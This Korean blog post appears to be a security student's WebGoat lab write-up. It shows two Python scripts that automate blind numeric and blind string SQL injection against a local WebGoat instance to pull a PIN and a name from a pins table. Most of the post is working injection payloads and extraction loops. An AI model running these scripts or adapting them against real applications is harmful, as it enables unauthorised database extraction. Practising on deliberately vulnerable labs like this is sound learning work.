틀린 부분이 있다면 언제든지 댓글 남겨주세요!
Blind Numeric / String SQL injection 자동화 스크립트 만들기
- 웹크롤링 이용해서 파이썬으로 자동화 (세션 꼭 넣기)
- python 3.8, vscode, burpsuite사용
- 웹크롤링- request: 웹상의 데이터를 처리할 때 필요한 모듈
- BeautifulSoup: 웹언어를 가독성 좋게 보여주는 모듈
1. Blind Numeric SQL injection 자동화 스크립트
pins테이블에서 cc_number가 1111222233334444인 행의 pin값을 찾는 것
Invalid라고 했으므로 10000보다 작은 수임을 알 수 있다. 이런식으로 값을 유추하는 방식이다.
일일이 값을 바꾸며 찾기에는 한계가 있으므로 자동화 스크립트를 이용하고자 한다.
url을 잘못 입력해서 삽질 좀 했다. 그냥 웹페이지 url을 복사하면 안되고 intercept해서 찾아야 한다.
import requests
from bs4 import BeautifulSoup as bf
#burp suite에서 해당 페이지에서 intercept해서 나온 url!!!
url='http://localhost:8080/WebGoat/attack?Screen=586116895&menu=1100'
cookie = {'JSESSIONID':'93262CC164D738B723D1D2842F64FA91'}
with requests.Session() as sess:
with sess.post(url, cookies=cookie) as log:
# print(log.text)
# print(log.status_code)
num=0
while 1:
num = num+1
inputdata = {'account_number':"101 AND (select pin from pins where cc_number='1111222233334444')='%d'" % num}
res_p = sess.post(url, data=inputdata, cookies=cookie)
soup=bf(res_p.text, 'html.parser')
cookieee=soup.find('p')
if 'Account number is valid' in cookieee.p.text:
print('find vaild value!!', num)
break
자동화 스크립트 구현에 성공하긴 했지만 시간이 상당히 오래 걸린다...numeric임에도 불구하고..
num을 0부터 무식하게 1씩 증가시켜 비교하기 때문인 것 같다.
하지만 지금은 구현한 것에 만족하기로 하고 시간을 줄이기 위한 코드는 나중에 고쳐서 올리고자 한다..ㅠ
2. Blind String SQL injection 자동화 스크립트
import requests
from bs4 import BeautifulSoup as bf
#burp suite에서 해당 페이지에서 intercept해서 나온 url!!!
url='http://localhost:8080/WebGoat/attack?Screen=1315528047&menu=1100'
cookie = {'JSESSIONID':'93262CC164D738B723D1D2842F64FA91'}
with requests.Session() as sess:
with sess.post(url, cookies=cookie) as log:
num=0
while 1:
num = num+1
inputdata = {'account_number':"101 AND length(select name from pins where cc_number='4321432143214321')>'%d'" % num}
res_p = sess.post(url, data=inputdata, cookies=cookie)
soup=bf(res_p.text, 'html.parser')
cookiee=soup.find('p')
if 'Invalid account number' in cookiee.p.text:
print('string length is ', num)
break
asclist=[]
for i in range(1,num+1):
for j in range(65,123):
inputdata = {'account_number':"101 AND (SUBSTRING((select name from pins where cc_number='4321432143214321'),'%d', 1))>'%s'" % (i,chr(j))}
res_s = sess.post(url, data=inputdata, cookies=cookie)
soup=bf(res_s.text, 'html.parser')
cookieee=soup.find('p')
if 'Invalid account number' in cookieee.p.text:
break
asclist.append(chr(j))
print('Field name:'+''.join(asclist))
numeric이랑 비슷한 방식! 이건 금방 풀었다ㅎㅎ
* 나중에 수정할 부분
- numeric도 string처럼 for문을 이용해서 조금만 고치면 런타임 시간이 짧아질듯!
- 세션값을 직접 넣지 않고 로그인부터 자동화로 바꾸기
728x90
반응형
'Security > WEB' 카테고리의 다른 글
JWT(JSON Web Token) (0) | 2024.02.27 |
---|---|
[Dreamhack] SQL Injection bypass WAF Advanced (1) | 2022.09.24 |
SMTP PORT (0) | 2022.07.01 |
아파치 톰캣 (Apache and Tomcat) (0) | 2022.07.01 |
WebGoat 실습 ① 설치 및 injection 문제 풀이 (0) | 2020.08.27 |
댓글